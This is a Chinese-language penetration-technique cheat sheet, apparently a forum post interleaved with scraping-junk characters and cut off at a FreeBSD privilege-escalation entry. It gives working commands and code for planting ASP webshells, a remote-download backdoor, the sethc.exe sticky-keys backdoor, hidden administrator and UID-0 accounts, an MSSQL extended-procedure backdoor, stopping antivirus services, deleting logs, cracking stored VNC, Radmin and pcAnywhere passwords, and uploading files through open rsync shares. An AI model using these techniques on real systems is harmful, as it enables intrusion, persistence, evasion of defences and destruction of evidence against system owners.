渗透技巧总结

admin

旁站路径问题
  l9 ^& \+ {) c/ v  [. u1、读网站配置。
2、用以下VBS
! p  F- l8 h4 C' F7 _4 lOn Error Resume Next
/ Z6 b0 N' S" @, t9 f% MIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
8 q" a' D( r. D) p
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
, ]6 o. b. X4 a( N+ Z+ q  f        WScript.Quit
" s; ?# T6 V: B0 i4 jEnd If
Set ObjService=GetObject
7 s* ^- B0 b  Q+ S4 l6 k7 a
: G* T& g% L: Z, N8 Q# ?("IIS://LocalHost/W3SVC")
. R: n/ }; m2 U1 cFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)
( H2 I- S0 k, G1 c- r
Then
9 \9 e- k" f: C% v2 F                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
- F5 K4 f$ R( w- ^8 Z
% R; k! P5 P6 H$ ^( Y. B/ n0 ?       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
# q' l- x- E! `  q! t                If Err
8 T7 z/ K& @7 f  Z/ M; f
<> 0 Then WScript.Quit (1)
8 }4 R: q4 W: I3 \) @8 x0 h: @                WScript.Echo Chr(10) & "[" &
+ g7 L. }5 \5 F# d/ i0 C# n
0 l( ]4 P  K8 ?; V, ?  P' h: COService.ServerComment & "]"
, j0 m( e; V, ~9 \: `                For Each Binds In OService.ServerBindings
     

- g: k, i5 q3 v  I# P. z                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

4 p. d+ C( l1 i7 TWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
: D& j6 o$ |/ A2 o, t" |                Next
& ]) l7 e/ i' i      
2 B" o! ]% ]- y! B
         WScript.Echo "ath            : " & VDirObj.Path
+ R4 f# U: A! O, b( n% L$ r        End If
Next
1 m5 v) v  E% B* i复制代码
/ f: y* I! `: U* ^' X3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
- C+ H, _: ~7 b' J' Y8 J4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
4 b: k. D0 S. o, I: jWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
" Q7 S5 y7 f$ N  F——————————————————————
3 I! j3 @) G$ L+ y* P, VphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
9 J7 h/ [" _; a. }phpMyAdmin/index.php?lang[]=1
- G! {  z5 R5 U: P5 uphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
2 U& M& p3 O1 L————————————————————
1 A8 D/ f3 u* N* P5 {CMD下操作VPN相关
$ H" {, M8 r+ n. m  u( h3 E/ M% J& knetsh ras set user administrator permit #允许administrator拨入该VPN
7 p2 {5 S8 A0 H* F, W0 O$ [4 Cnetsh ras set user administrator deny #禁止administrator拨入该VPN
0 k2 h. F- u+ Q( v' e- Znetsh ras show user #查看哪些用户可以拨入VPN
" A( X/ Y5 J7 M+ v' ynetsh ras ip show config #查看VPN分配IP的方式
' C3 J5 j% C- r1 N! Y1 t) |netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
* V: p# s0 e0 l————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
3 L0 [3 c; o# Pexec master.dbo.sp_addlogin test,123
1 ^$ c4 A* M6 R* @EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
/ D4 E' C0 `+ l$ P, V
+ `* B# i" }, p8 @* u* ^% e0 F另类的加用户方法
- w3 u5 h0 |$ ]6 t) Q2 C+ ]: q! \在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
  ]4 O: ^3 {( g6 c8 lz.changePassword("123456","")
3 {: x! d; C4 H# g4 cz.setting("AccountType")=3;
7 B( G$ d6 D6 r( Q0 \0 A: p/ A
vbs:
Set   o=CreateObject( "Shell.Users" )
" \* Y2 e% O2 [% }) YSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
- I9 s- [9 U/ R——————————————————
" p% d+ c# z. ycmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
  L3 j  H0 i3 e2 J' s0 Z' I
, p' w) d' A5 Y" s命令如下
4 q9 u1 b0 c! C4 L2 k# C! \cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
" r% P9 [( i/ m4 I' z3389相关
5 l' r. o# u3 F- N2 ]  fa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
7 u5 R4 M2 j( i8 a7 |, P# h( `b、内网环境（LCX）
; o7 `9 S, m; B2 yc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
# h8 V0 ~$ N& X) ]
杀软关闭（把杀软所在的文件的所有权限去掉）
# |# t; w; G8 T0 u: C: d% M% X# q& O处理变态诺顿企业版：
( R8 q! q8 l" f/ tnet stop "Symantec AntiVirus" /y
% w4 Q  V3 u6 P; _. ]) ~, D5 F, K# inet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
* b' O% ]8 ~# S$ snet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
9 |+ i) H8 Y' X+ L- U' ]! k1 \————————————————————
- f! O0 W: S/ e/ N
% B: b7 A; H4 |" [/ Q0 T& p! i5 y5次SHIFT：
; g' x1 H- W* bcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
7 t' k8 g& j. q/ Qcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
' T% q4 l1 ~) |2 v+ b$ j1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
' c# B6 v' r9 H3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
/ j, a0 ^1 x/ p! h; R7 i; Q  R. f4、利用Hacker Defender把相关用户注册表隐藏
6 n0 c, d2 ~3 f8 ~8 \2 v——————————————————————
. _: y- g* n- }MSSQL扩展后门：
! [' S* {0 `# k' aUSE master;
) F0 b0 u% E3 _  c- ~EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
& H6 b8 w& a$ c4 ], ?! K/ Y, c- e8 VGRANT exec On xp_helpsystem TO public;
" ~' ]3 P' }# }9 u2 D/ E; o———————————————————————
- G3 @4 r# x0 F日志处理
9 B4 R3 h6 g$ t; p0 UC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
, O4 X3 Y9 d+ u1 X直接删除 ex0111124.log
不成功，“原文件...正在使用”
3 w" W9 Y) k& g3 m. j7 D$ ~当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
/ i! [% }+ p- z9 B& K+ U1 G当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
4 V' o7 [, |) }2 |MSSQL 2000位于注册表如下：
1 j. W" F9 j# @6 ^: P( [$ g: GHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
# D, d% B; ^: M, N7 N% U
Server\90\Tools\Shell\mru.dat
—————————————————————————
) z( S7 a9 q) V防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
7 e0 C4 J) @' H2 S2 K4 l1 i
<%
( t7 Z- E7 ?: x3 wSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
& U+ H+ O5 p+ I" T0 ]2 b. WDim Ads, Retrieval, GetRemoteData
  `- l( }8 A  O: m! I/ A/ BOn Error Resume Next
" Y+ b/ y" h2 L3 oSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
! {# \- ]2 r2 J1 r4 vSet Retrieval = Nothing
! u- b6 `% X' ?& TSet Ads = Server.CreateObject("Adodb.Stream")
5 H3 q  R1 v) qWith Ads
.Type = 1
! U9 d. x+ ^: g& }: \0 q.Open
.Write GetRemoteData
4 C6 }/ W) u- u% Q, B6 @.SaveToFile Server.MapPath(s_LocalFileName), 2
8 ~" k/ p% o+ A# P0 i  K. r.Cancel()
.Close()
2 P' K, ]7 f4 y. p6 x) h$ zEnd With
# ?/ _# ]$ P" X2 S4 cSet Ads=nothing
4 e7 d% g0 [! \. O- z" wEnd Sub

( C6 T# w* K8 r, w% ReWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
$ R! t. ^6 ?/ F4 m% |
VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
1 d7 `! U( B3 F% }8 K注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
8 B) w9 p+ Y9 \! t/ NHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
( W+ ~9 s5 Z& `9 G' Z. ?HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
/ o% ~& d0 H6 S. a/ z保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
/ ?( g/ R; P9 M* zUsers\Application Data\Symantec\pcAnywhere\文件夹下。
8 t- C. l- j! t——————————————————————
9 t( l& t. f3 k& R# d$ U1 m搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
. o' J7 |8 y& `8 z——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
  a* D* T' _* [5 o来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
8 }: Y! \: C3 p4 l; r7i24的web目录也是可写，权限为administrator。
$ o* U# k$ B  s  l
" y- [( h# [7 w% y) E% z1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
; L8 t$ ?; `& k' x6 q& mSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

% }$ U4 n0 F) ?; J";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

, H7 z" K( o9 S7 x6 i( a5 astrSQLDBName & ";"
: ~' a6 A2 [% z& Q2 Cconn.open strCon
dim rs,strSQL,id
6 R- |, U0 j$ X# b8 e& [1 @* K% \set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
0 b- `# f  D. J; ^# }7 V% rrs.close
& P; ~1 _' W$ J  P7 V/ j%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

9 S. G. w$ H' d# s7 P2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
( W/ U) n* l& I: ^& p- Z
3.查找管理员信息
匿名方式
" t/ p1 B$ o8 x& V! P( P! O; B/ e$ [ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# G5 h4 h7 z8 V  }/ ]
4 T- K6 M( ^, f5 z"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
" c" j( s" W5 A. d4 \有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
+ b6 x8 Z7 p( f# v1.cat /etc/nsswitch
+ F$ O/ G& d% m' W! g% }+ u8 a  M看看密码登录策略我们可以看到使用了file ldap模式

, U4 i; x: M9 w- |# S2.less /etc/ldap.conf
0 K6 i' x* ?, n* h" y( _3 M* Pbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
( E% q# U7 b: G; Xldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
" ?# u6 ^5 A) `" Q6 @% W2 C
& t, k" c3 e8 G"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
" q2 h; f0 X- B1 j; @有密码形式
9 ?: j% G5 i* W& E( Wldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

/ M; V: x* T: S  m/ Y0 m  }) v3 V
4.查找10条用户记录
# D( C3 E/ j, S; hldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
# z: i. p! l% t) f) t1 B' n1 A+ D1.返回所有的属性
) B6 Q0 @' a& k8 k! Fldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
" u: B& K; V. |7 t) E, S$ ?% r5 _dn: dc=ruc,dc=edu,dc=cn
& h( e0 Y6 R! ~- W( sdc: ruc
! I8 j" @' D: N7 {' x9 g8 L/ MobjectClass: domain

$ I/ Z0 s, ^1 Idn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
3 P0 Q6 S3 J* h) n: l6 d$ uobjectClass: organizationalPerson
objectClass: person
0 P" I3 ?. @) pobjectClass: top
sn: manager
cn: manager
$ Q6 z9 H* R+ x3 `$ O
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
% z- _7 X2 \( O& x" C0 Zuid: superadmin
objectClass: inetOrgPerson
# D/ _6 X. J. ?. sobjectClass: organizationalPerson
2 h7 t' ]& U! z6 T2 oobjectClass: person
( G8 ]) `" L9 z4 EobjectClass: top
. B! ]; A' [& Wsn: superadmin
cn: superadmin
& T" v( X4 W1 h: F
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
: N9 h) i6 ?: ]& z4 w6 A6 X" UobjectClass: organizationalPerson
- {: I. C8 t7 O! P- v4 s5 vobjectClass: person
/ E& a# m  B  j% xobjectClass: top
sn: admin
cn: admin

& b9 E% d! R& s9 B9 M1 ^- odn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
) H/ {8 {8 y* P2 D. B9 ?: FobjectClass: person
( y, P; z& m% m7 N0 XobjectClass: organizationalPerson
objectClass: inetOrgPerson
  Q5 @& K5 K3 B3 L. gsn: dcp_anonymous
& Y" [, K4 c; |: H# I7 w6 ?cn: dcp_anonymous
9 t% Q4 P! _6 `( w+ T4 b! S0 _1 G
2.查看基类
3 Y) L3 M7 u( ^! H& ^bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

7 j4 \+ y( d! K/ _( t! Lmore
version: 1
+ a2 \" F( X- M* a  |dn: dc=ruc,dc=edu,dc=cn
: E& _0 i) c4 @dc: ruc
objectClass: domain
3 ]- k4 x0 F9 a+ A3 m2 C. u
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
6 Q& P8 A& n  Edn:
) I- i) m! T& K. S4 M+ NobjectClass: top
$ M, {" w" R( D: K9 mnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
$ @/ L+ E) V3 Z! T8 v# GsupportedExtension: 2.16.840.1.113730.3.5.3
# T; Q8 L; k) e0 }) o1 t/ c+ p0 y+ m) MsupportedExtension: 2.16.840.1.113730.3.5.5
; {) w  P# t! N5 osupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
) R1 ]7 b" t6 C# esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
$ ^8 ?/ q; J2 d' g. k% qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
  t& A0 l; w1 ~7 F  C' ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
( D- `' _0 ?) f; y7 i# H) ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
% c5 W- p5 f$ {. p. VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
4 p2 @3 g" M+ `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
! p" \, B) Y0 x( YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
9 O- y6 Z" Y- L5 i. wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
1 W0 }% D' U4 n$ Q2 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
0 s  y+ K% @1 v& W& v( N. dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
. G8 D  \5 O/ h7 ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
* B2 x4 c- d- O) m. ^! asupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
  ~" {: U: Y. C. f- @4 N) IsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
, f0 o  s" f6 U; S: ^) BsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
' W; i3 H3 i( `# DsupportedControl: 1.3.6.1.4.1.1466.29539.12
6 z& V* Y' O2 ]& M/ P% GsupportedControl: 2.16.840.1.113730.3.4.12
0 |# E% o. M0 B0 ?6 ~supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
( ^7 G) w% Q% @; T: U  JsupportedLDAPVersion: 2
5 M1 ~/ S6 S' M3 [3 H$ X( xsupportedLDAPVersion: 3
% h! s9 S7 A. r0 C6 u; S3 ~vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
$ W8 I7 m( j5 z. Z; a8 Xdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
. V8 ^# ?& \6 |6 p0 |supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
+ y' y0 e$ P& M6 C% S% S7 JsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
. V4 w6 C4 p2 k. i+ v. ]) f& NsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
$ B5 V8 v# _) ]supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
. j& x$ A3 b$ VsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
$ m: I- n" \# u  j6 u0 rsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
0 m9 J6 ]# U) H7 csupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
) R4 p  |) h5 B% R) K/ l. w7 G9 u+ gsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
; L; U4 e! K4 V& o) a& d( GsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
) w0 J+ ~# N7 o+ hsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
" q; X4 E/ R4 TsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
# n6 s) m, P/ s: hsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
! O4 _  I+ v8 {: j" `. E* p( NsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
! w: q5 f8 V; M2 S9 LsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
: K6 t1 S- N2 S5 \) e- MsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
# ~$ d* Y* |$ h- y7 }, ]3 k) xsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
2 U9 K2 d( U' _, W  q' DsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
7 E" E( g6 f! |supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
1 N6 |' g) o0 n7 t6 fsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
9 C: y* w5 i5 EsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
1 K5 u) u/ l) Z. dsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
5 S" d$ \/ a2 A& R% LsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
: i# @/ z5 g& T$ _) R9 [supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
/ G+ w  _# h$ a7 x% Y9 Y* csupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
+ _* Z+ L( o6 H, X: MsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
* T1 `" `  S) x/ K0 s, F! PsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
% w1 n* s) H$ |$ h2 n- msupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
. C6 e$ P2 w- z+ M' ssupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
7 {: O: Q3 p, t, fsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
. k/ N+ s! h/ l+ {supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
# M7 b9 I9 B' P: B0 g% M- V' i————————————
: N6 i. f1 d+ t" e, K1 R7 |2. NFS渗透技巧
1 L! [  B2 L: Z, z4 Ashowmount -e ip
7 i# z8 M/ L" j列举IP
——————
3.rsync渗透技巧
+ k+ u1 u+ y% c* B8 ^. t. V4 p1.查看rsync服务器上的列表
" P+ `: x. o4 X- X- G8 wrsync 210.51.X.X::
finance
3 E) b% T; k0 g6 E+ p+ ximg_finance
auto
* \; G  k( l6 Y8 ~2 ~img_auto
+ O+ s) d: O/ J; I4 j5 g6 ohtml_cms
) }4 S3 s0 i1 I' t; i* iimg_cms
2 q& O3 n* k: o9 p) ]9 H2 Uent_cms
ent_img
ceshi
9 A" C8 Z9 Q/ gres_img
: v" G' M' i# q2 {$ h  Xres_img_c2
9 {$ ?! G0 N& {, C. lchip
0 [9 _4 ^; t$ p! gchip_c2
" }/ A- b+ Y9 t! ?, K- `ent_icms
# y2 o7 \. o3 rgames
# r  z# |5 n( ]' Q" }" q+ Zgamesimg
media
6 _6 M0 C1 {- Vmediaimg
fashion
$ \5 M. A8 {" D  M6 ^" q* Xres-fashion
res-fo
% N3 T* J, r7 o5 [taobao-home
! A  T, ]$ @* W, Eres-taobao-home
' ?2 q  B" k* y0 dhouse
: Q9 ^" G+ b( y' V# x* tres-house
9 [$ H" \6 @+ [  C( a; pres-home
+ F- o7 c; J, B! E  [# B: pres-edu
res-ent
res-labs
' v/ H" t# m& v( u8 M; i3 V' Y* n# dres-news
3 D% o8 f! b& M: \0 W% t( J8 ires-phtv
res-media
: p- J/ d% L# z+ @home
edu
news
res-book

看相应的下级目录(注意一定要在目录后面添加上/)

& P" o3 K  t, F
) I. c7 I" C0 k2 V% ?  {rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
) n0 R2 F- m$ {! |# t. drsync 210.51.X.X::edu/

  r4 v! F8 t- P: A1 c5 x2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

2 i& o3 Z+ ~! D" G3.向上更新rsync文件(成功上传,不会覆盖)
  O2 A$ ?# u$ R/ Jrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
  m' j2 B% g5 ]! h7 ?9 Z7 H  |http://app.finance.xxx.com/warn/nothack.txt
8 q, p3 T, D4 W. X* t- n2 b
. l$ d. N% H6 E四.squid渗透技巧
- l* p/ n- T8 @nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
" w. B* v$ ]6 T1 JGET HTTP://WWW.sina.com:22 / HTTP/1.0
" e# Q( ?3 i' u0 a. U% \3 V" g五.SSH端口转发
6 I0 E8 n6 f4 N) essh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
  t8 o3 H! f: r3 x5 I  L  @
六.joomla渗透小技巧
, H. f5 B, ?' v& d6 C确定版本
0 g0 `! R9 ?( xindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
: C5 a+ C0 d+ A! m' ^# Z
15&catid=32:languages&Itemid=47
5 Z( [. V: O: f& {0 s
重新设置密码
index.php?option=com_user&view=reset&layout=confirm

) x5 x5 [1 a- e七: Linux添加UID为0的root用户
- O$ p+ ~2 Y; a% \; N3 L5 Kuseradd -o -u 0 nothack

# ]5 L! j$ l, n& \# j& T: D3 a+ W八.freebsd本地提权
& F! r& f. B9 s5 v: N7 c7 z[argp@julius ~]$ uname -rsi
